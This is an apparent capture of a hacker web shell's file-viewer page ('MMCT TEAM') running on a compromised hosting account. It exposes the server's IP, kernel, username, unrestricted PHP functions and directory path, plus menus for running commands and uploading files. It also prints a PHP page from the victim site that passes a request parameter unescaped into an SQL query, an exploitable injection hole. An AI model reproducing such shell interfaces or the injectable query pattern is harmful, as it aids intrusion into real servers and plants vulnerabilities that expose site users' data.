MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 3.145.18.135
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0750) :  /home2/ppcad7no/vivahmilankendra.com/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/ppcad7no/vivahmilankendra.com/findstate-prefer.php
<?php
include("includes/dbsmain.inc.php");
?>
<?php
$country=$_REQUEST['id'];
//if($country=='India'){
$query="select * from tbl_state where 1 and country_id='$country'";
$result=db_query($query);
$countState=mysqli_num_rows($result);
?>
<select class="dsbo-fom-1" name="join_preference_state_id" id="join_preference_state_id">
 <option value="0" >---- Choose Your State ----</option>
<? 
if($countState>0){
while($statedata=mysqli_fetch_array($result)) { 
?>
 <option value="<?=$statedata['state_id']?>" ><?=$statedata['state']?></option>
<? 
}
}else{
?>
<option value="0" >No State Found</option>
<?php }?>
</select>

MMCT - 2023